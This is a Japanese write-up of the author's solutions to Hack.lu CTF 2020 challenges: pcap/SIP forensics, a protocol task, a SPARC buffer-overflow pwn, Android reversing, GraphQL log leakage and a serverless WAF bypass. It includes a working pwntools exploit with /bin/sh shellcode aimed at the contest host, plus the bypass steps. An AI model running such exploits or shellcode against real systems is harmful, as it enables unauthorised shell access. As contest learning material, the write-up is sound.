Hack.lu CTF 2020 Writeup
Sun Oct 25 2020
2020/10/23 20:37 - 2020/10/25 20:37 で開催された Hack.lu CTF 2020 に1人チーム (y011d4) で参加しました。 自分が好きな crypto, rev はあまり存在しなくて (or 全く歯が立たない)、結果として普段避けがちな web 問に取り掛かれたのはよかったです。 結果は56位でした。 解けた問題についての writeup をまとめます (本当は英語で書くのがベターだけど、時間がないので日本語で)。 どうでもいいけど、自分は "cool theme" で開いていたのですが、アレ (自主規制) のパロディで笑った。
解けた問題
Misc
Callman
pcap ファイルが渡されて解析する問題。 取っ掛かりが全然わからなかったため、問題文に入っている call という文字列で適当に grep してみました。
strings Callboy.pcapng | grep call -A 3 -B 3 -i From: <sip:[email protected]3>;tag=xNvnJk9AB To: sip:[email protected] CSeq: 20 INVITE Call-ID: 54c2YeA2B1 Max-Forwards: 70 Supported: replaces, outbound, gruu Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO, UPDATE -- Via: SIP/2.0/UDP 10.13.37.1:5060;branch=z9hG4bK.o3uJc945G;rport=5060 From: <sip:[email protected]3>;tag=xNvnJk9AB To: <sip:[email protected]6> Call-ID: 54c2YeA2B1 CSeq: 20 INVITE User-Agent: Linphone/3.6.1 (eXosip2/4.1.0) Content-Length: 0 -- Via: SIP/2.0/UDP 10.13.37.1:5060;branch=z9hG4bK.o3uJc945G;rport=5060 From: <sip:[email protected]3>;tag=xNvnJk9AB To: <sip:[email protected]6>;tag=1213333916 Call-ID: 54c2YeA2B1 CSeq: 20 INVITE Contact: <sip:[email protected]:5060> User-Agent: Linphone/3.6.1 (eXosip2/4.1.0) -- Via: SIP/2.0/UDP 10.13.37.1:5060;branch=z9hG4bK.o3uJc945G;rport=5060 From: <sip:[email protected]3>;tag=xNvnJk9AB To: <sip:[email protected]6>;tag=1213333916 Call-ID: 54c2YeA2B1 CSeq: 20 INVITE Contact: <sip:[email protected]6> Content-Type: application/sdp -- From: <sip:[email protected]3>;tag=xNvnJk9AB To: <sip:[email protected]6>;tag=1213333916 CSeq: 20 ACK Call-ID: 54c2YeA2B1 Max-Forwards: 70 User-Agent: Linphone Desktop/4.2.2 (Arch Linux, Qt 5.15.1) LinphoneCore/6da3177 H@0Z -- Via: SIP/2.0/UDP 10.13.37.86:5060;rport;branch=z9hG4bK1693586277 From: <sip:[email protected]6>;tag=1213333916 To: <sip:[email protected]3>;tag=xNvnJk9AB Call-ID: 54c2YeA2B1 CSeq: 2 BYE Contact: <sip:[email protected]:5060> Max-Forwards: 70 -- Via: SIP/2.0/UDP 10.13.37.86:5060;rport;branch=z9hG4bK1693586277 From: <sip:[email protected]6>;tag=1213333916 To: <sip:[email protected]3>;tag=xNvnJk9AB Call-ID: 54c2YeA2B1 CSeq: 2 BYE User-Agent: Linphone Desktop/4.2.2 (Arch Linux, Qt 5.15.1) LinphoneCore/6da3177 Supported: replaces, outbound, gruu
SIP というプロトコルで通話をしているログなのかなと予想しました。 Wireshark で開き、 Telephony -> RTP -> RTP Streams で RTP のストリームを見てみると3つ見つかり、そのうちの1つが音声となっていました。 後は英語のリスニング試験となったのですが、英語が苦手な自分は pixel (スマホ) のレコーダーアプリで文字起こしをしてもらってフラグを入手しました。 (call を cool と文字起こしされて、なかなか修正に手こずった…)
flag{call_me_baby_1337_more_times}
P*rn Protocol
P*rnProtocol という通信規格のドキュメントが与えられているので、その規格に沿って通信する問題。 説明書を読んで愚直に実装するだけでした。やったことの流れを簡単にまとめると、
- identifier が最初の通信で渡されるので、それを指定しつつ Member ID をリクエスト
- username, password を返されるので、それを使ってログイン
- flag をリクエスト
実装には pwntools を使いました。 悲しいことに大会中に誤ってファイルを消してしまうというとんでもないミスをしてしまったためコードは残っていないし、既に解けた問題のコードを復元する気力はないので方針だけです…
Pwn
Secret Pwnhub Academy Rewards Club
sparc というアーキテクチャ上での pwn 問。 仕様については https://cseweb.ucsd.edu/~gbournou/CSE131/samv8.pdf を参考にしました。
Dockerfile で gdb が走る環境が与えられていたため、その環境を使って gdb で挙動を確認しました。 (今回の CTF、どの問題も環境がしっかり与えられていてとてもやりやすかった)
(gdb) disas Dump of assembler code for function main: 0x000104b4 <+0>: std %fp, [ %sp + 0x38 ] 0x000104b8 <+4>: add %sp, -96, %sp 0x000104bc <+8>: sub %sp, -96, %fp 0x000104c0 <+12>: mov %o7, %i7 => 0x000104c4 <+16>: call 0x102a4 <setup> 0x000104c8 <+20>: nop 0x000104cc <+24>: call 0x10318 <fn> 0x000104d0 <+28>: nop 0x000104d4 <+32>: clr %g1 ! 0x0 0x000104d8 <+36>: mov %g1, %o0 0x000104dc <+40>: mov %fp, %g1 0x000104e0 <+44>: mov %i7, %o7 0x000104e4 <+48>: ldd [ %fp + 0x38 ], %fp 0x000104e8 <+52>: mov %g1, %sp 0x000104ec <+56>: retl 0x000104f0 <+60>: nop End of assembler dump.
buffer overflow 問かと予想して適当にググっていると http://www.ouah.org/UNF-sparc-overflow.html を見つけました。 今回の問題設定 (main 関数から呼んだ関数上で read が呼ばれる) と酷似していたため、 buffer overflow でいけると確信。
sparc の仕様を完全に追うのは大変そうだったため、手動二分探索で書き込む量を gdb で確認しつつ決定し、ググってみつけたシェルコード (/bin/sh) を呼び出してフラグゲット (なので結局 sparc についてはよくわからなかった)。
from pwn import * from Crypto.Util.number import long_to_bytes # r = remote("localhost", 4444) r = remote("flu.xxx", 2020) context.log_level = "DEBUG" address = r.recvuntil("\n") # 0xffffeb78 address = int(address, 16) print(hex(address)) r.sendline(b"A"*184 + b"\xff\xff\xec\x58" + long_to_bytes(address)) # http://shell-storm.org/shellcode/files/shellcode-83.php shellcode = b"\x82\x10\x20\x7e" + b"\x92\x22\x40\x09" + b"\x90\x0a\x40\x09" + b"\x91\xd0\x20\x10" + b"\x2d\x0b\xd8\x9a" + b"\xac\x15\xa1\x6e" + b"\x2f\x0b\xdc\xda" + b"\x90\x0b\x80\x0e" + b"\x92\x03\xa0\x08" + b"\x94\x22\x80\x0a" + b"\x9c\x03\xa0\x10" + b"\xec\x3b\xbf\xf0" + b"\xd0\x23\xbf\xf8" + b"\xc0\x23\xbf\xfc" + b"\x82\x10\x20\x3b" + b"\x91\xd0\x20\x10" r.sendline(b"A" * 8 + shellcode) r.interactive()
flag{all_the_!nput_to_0utput_register_sh0veling}
Rev
flagdroid
android アプリの rev 問。 まずは https://www.glamenv-septzen.net/view/972 を参考に、逆アセンブルして .smali ファイルを生成しました。
unzip flagdroid.apk java -jar baksmali-2.4.0.jar d classes.dex
out/lu/hack/Flagdroid/MainActivity$1.smali を見てみると、 flag の判定をしているような部分を見つけました。
const-string v2, "flag\\{(.*)\\}" .line 48 invoke-static {v2}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern; move-result-object v2 .line 49 invoke-virtual {v2, v1}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher; move-result-object v1 .line 50 invoke-virtual {v1}, Ljava/util/regex/Matcher;->find()Z move-result v2 const/4 v3, 0x4 const/4 v4, 0x0 if-eqz v2, :cond_88 .line 51 invoke-virtual {v1}, Ljava/util/regex/Matcher;->group()Ljava/lang/String; move-result-object v1 const-string v2, "flag{" const-string v5, "" invoke-virtual {v1, v2, v5}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; move-result-object v1 const-string v2, "}" invoke-virtual {v1, v2, v5}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; move-result-object v1 const-string v2, "_" .line 53 invoke-virtual {v1, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; move-result-object v1 .line 54 array-length v2, v1 if-ne v2, v3, :cond_88 .line 55 iget-object v2, p0, Llu/hack/Flagdroid/MainActivity$1;->this$0:Llu/hack/Flagdroid/MainActivity; aget-object v5, v1, v4 # invokes: Llu/hack/Flagdroid/MainActivity;->checkSplit1(Ljava/lang/String;)Z invoke-static {v2, v5}, Llu/hack/Flagdroid/MainActivity;->access$000(Llu/hack/Flagdroid/MainActivity;Ljava/lang/String;)Z move-result v2 .line 56 iget-object v5, p0, Llu/hack/Flagdroid/MainActivity$1;->this$0:Llu/hack/Flagdroid/MainActivity; const/4 v6, 0x1 aget-object v6, v1, v6 # invokes: Llu/hack/Flagdroid/MainActivity;->checkSplit2(Ljava/lang/String;)Z invoke-static {v5, v6}, Llu/hack/Flagdroid/MainActivity;->access$100(Llu/hack/Flagdroid/MainActivity;Ljava/lang/String;)Z
どうやら flag は flag{xxx_yyy_zzz_www} という形になっているようで、 xxx, yyy, zzz, www の部分はそれぞれ access$?00 (checkSplit?) でチェックされているみたいです。 それぞれのチェック関数を見てみると、
- checkSplit1
- 0x7f0c001e にある文字列を base64 でデコードしたものと一致するかチェック
- 0x7f0c001e の文字列は android studio で見たところ、 dEg0VA== だったので、 tH4T
- 0x7f0c001e にある文字列を base64 でデコードしたものと一致するかチェック
- checkSplit2
- (flag[i] + i) xor "hack.lu20"[i] が \u001fTT:\u001f5\u00f1HG と一致するかチェック
- xor を逆変換して、 w45N-T~so
- (flag[i] + i) xor "hack.lu20"[i] が \u001fTT:\u001f5\u00f1HG と一致するかチェック
- checkSplit3
- md5(h4rd????) == 6d90ca30c5de200fe9f671abb2dd704e をチェック
- ???? の部分をブルートフォースで決定
- checkSplit4
- ネイティブコードを使っていたため、 lib/x86_64/libnative-lib.so を見た
- 文字列がベタ書きされていた
一応全体のコード↓
from base64 import b64decode from hashlib import md5 from itertools import product # checkSplit1 flag1 = b64decode(b"dEg0VA==").decode() print(flag1) # checkSplit2 flag2 = "" target = b"\x1fTT:\x1f5\xf1HG" key = b"hack.lu20" assert len(key) == len(target) for i, (t, k) in enumerate(zip(target, key)): flag2 += chr((t ^ k) - i) print(flag2) # checkSplit3 flag3_prefix = "h4rd" for i0, i1, i2, i3 in product(range(32, 128), repeat=4): c0, c1, c2, c3 = ( chr(i0), chr(i1), chr(i2), chr(i3), ) if md5((flag3_prefix + c0 + c1 + c2 + c3).encode()).hexdigest() == "6d90ca30c5de200fe9f671abb2dd704e": flag3 = flag3_prefix + c0 + c1 + c2 + c3 break print(flag3) # checkSplit4 flag4 = "0r~w4S-1t?8)" print(flag4) # join flag = f"flag{{{flag1}_{flag2}_{flag3}_{flag4}}}" print(flag)
flag{tH4T_w45N-T~so_h4rd~huh_0r~w4S-1t?8)}
Web
Confession
適当にあれこれ操作していると、 /graphql に対して post をしているのを見つけました。 ctf4b 2020 の profiler の問題を思い出した (自分の writeup link) ので、それと同じく schema がとれないかをまず試しました。とれました。
get-graphql-schema https://confessions.flu.xxx/graphql directive @cacheControl(maxAge: Int, scope: CacheControlScope) on FIELD_DEFINITION | OBJECT | INTERFACE type Access { timestamp: String name: String args: String } enum CacheControlScope { PUBLIC PRIVATE } type Confession { id: String title: String hash: String message: String } type Mutation { """Create a new confession.""" addConfession(title: String, message: String): Confession """Get a confession by its id.""" confessionWithMessage(id: String): Confession } type Query { """Show the resolver access log. TODO: remove before production release""" accessLog: [Access] """Get a confession by its hash. Does not contain confidential data.""" confession(hash: String): Confession } """The `Upload` scalar type represents a file upload.""" scalar Upload
TODO とかコメントに書いてあるものは大体怪しいので、 accessLog の query を送りました。
{ "operationName": null, "query": "query Q { accessLog { timestamp, name, args } }", }
すると、以下のレスポンスが返ってきました。
{ "data": { "accessLog": [ { "timestamp": "Fri Oct 23 2020 01:46:56 GMT+0000 (Coordinated Universal Time)", "name": "addConfession", "args": "{"title":"<redacted>","message":"<redacted>"}" }, { "timestamp": "Fri Oct 23 2020 01:46:56 GMT+0000 (Coordinated Universal Time)", "name": "confession", "args": "{"hash":"252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111"}" }, { "timestamp": "Fri Oct 23 2020 01:46:57 GMT+0000 (Coordinated Universal Time)", "name": "addConfession", "args": "{"title":"<redacted>","message":"<redacted>"}" }, { "timestamp": "Fri Oct 23 2020 01:46:57 GMT+0000 (Coordinated Universal Time)", "name": "confession", "args": "{"hash":"593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6"}" }, { "timestamp": "Fri Oct 23 2020 01:46:58 GMT+0000 (Coordinated Universal Time)", "name": "addConfession", "args": "{"title":"<redacted>","message":"<redacted>"}" }, { "timestamp": "Fri Oct 23 2020 01:46:58 GMT+0000 (Coordinated Universal Time)", "name": "confession", "args": "{"hash":"c310f60bb9f3c59c43c73ff8c7af10268de81d4f787eb04e443bbc4aaf5ecb83"}" }, (以下略)
web サイトの仕様をもう一度確認すると、 message 部分に文字を書き込むたびに graphql にクエリを投げる仕様になっていました。 hash は sha256(message) を計算しているだけなので、 message を1文字ずつ決定できそうです。
import json from hashlib import sha256 with open("./response-data-export") as f: res = json.load(f) flag = b"" for access in res["data"]["accessLog"]: if access["name"] == "confession": for i in range(32, 128): c = chr(i).encode() if sha256(flag + c).hexdigest() == access["args"].split('"')[3]: flag += c print(flag) break
flag{but_pls_d0nt_t3ll_any1}
FluxCloud Serverless
cloud サービスを真似たような問題? Demo を押すと用意されているデモサイトがデプロイされます。そのサイトの /flag/ にアクセスするとフラグが見れそうですが、 serverless/functions/waf.js で URL 内に flag の文字列があると弾かれてしまいます。 どうすればいいかさっぱりだったため、用意されている動作環境をとりあえず手元で動かしていろいろ試してみました。 アクセスするたびに team-products と team-security の値が減っていくのがわかります。これが0になるとサービス終了ということでデプロイ先にアクセスすることができなくなるようです。
URL に何か小細工をするのかと考え、適当に文字を入れて試してみたところ、 %90 という文字を入れると team-security だけ減って team-products は減らないという現象に気づきました。 もう一度コードを確認すると、 waf でエラーがはかれると、 team-products を減らす処理に入らない仕様になっていました。 なので一度 %90 の文字を入れてアクセスしてエラー落ちさせたあとで /flag/ にアクセスを13回繰り返すと team-security だけ0になって team-products は非負という状況が作り出せます。 このとき waf のチェックはされなくなるため、 /flag/ にあるフラグを見ることができました。
flag{ca$h_ov3rfl0w}
FluxCloud Serverless 2.0
FluxCloud Serverless の fix 版として追加された問題。 とりあえず思考停止で元の問題と同じ方法を試したところうまくワークしました。 なので差分はよくわかっていないです…
flag{ca$h_ov3rfl0w_50b36a77aa069ca7028df9c0ca615ea3}
解けなかった問題
Crypto
Bad Primes
なので となる が存在しない、という問題。 方針がわかりませんでした…解1つに決まらないのでは? とりあえず の式について で mod を取ると、 となる が求まります。 が flag{...} という形になるような制約を に与えてあげて for ループで探させてみましたが、フラグの文字列長は十分長いみたいで無理そうでした (フラグが36文字以下だとしたら探索可能っぽかった)。
Web
BabyJS
javascript の仕様をハックするような問題集。
const FLAG = process.env.FLAG || 'fakeflag{}'; const no = (m='no') => { console.log(m); process.exit(1); }; const assert = (m, b) => b || no(m); const is = (o, t) => assert('is', typeof o === t); const isnt = (o, t) => assert('isnt', typeof o !== t); const passed = (i) => console.log(`check ${i} passed`); (async () => { const readline = require('readline').createInterface({ input: process.stdin, output: process.stdout, }); const input = await new Promise(resolve => readline.question('Prove that you are 1337 and not baby: ', resolve)); readline.close(); assert('0', input !== ''); passed('0'); const clean = input.replace(/[\u2028\u2029]/g, ''); const json = JSON.parse(clean); const { a, b } = json; is(a, 'number'); is(b, 'number'); assert('1.1', a === b); assert('1.2', 1337 / a !== 1337 / b); passed('1'); let { c, d } = json; isnt(c, 'undefined'); isnt(d, 'undefined'); const cast = (f, ...a) => a.map(f); [c, d] = cast(Number, c, d); assert('2.1', c !== d); [c, d] = cast(String, c, d); assert('2.2', c === d); passed('2'); let { e } = json; is(e, 'number'); const isCorrect = e++<e--&&!++e<!--e&&--e>e++; assert('3', isCorrect); passed('3'); const { f } = json; isnt(f, 'undefined'); assert('4', f == !f); passed('4'); const { g } = json; isnt(g, 'undefined'); // what you see: function check(x) { return { value: x * x }; } // what the tokenizer sees: function check ( x ) { return { value : x * x } ; } assert('5', g == check(g)); passed('5'); const { h } = json; is(h, 'number'); try { JSON.parse(String(h)); no('6'); } catch(e){} passed('6'); const { i } = json; isnt(i, 'undefined'); assert('7', i in [,,,...'"',,,Symbol.for("'"),,,]); passed('7'); const js = eval(`(${clean})`); assert('8', Object.keys(json).length !== Object.keys(js).length); passed('8'); const { y, z } = json; isnt(y, 'undefined'); isnt(z, 'undefined'); y[y][y](z)()(FLAG); })();
f までしか解けませんでした…全然思いつかない。
echo '{"a": 0, "b": -0, "c": "NaN", "d": "NaN", "e": -1, "f": [0], "g": "giveup"}' | nc flu.xxx 2071 Prove that you are 1337 and not baby: check 0 passed check 1 passed check 2 passed check 3 passed check 4 passed 5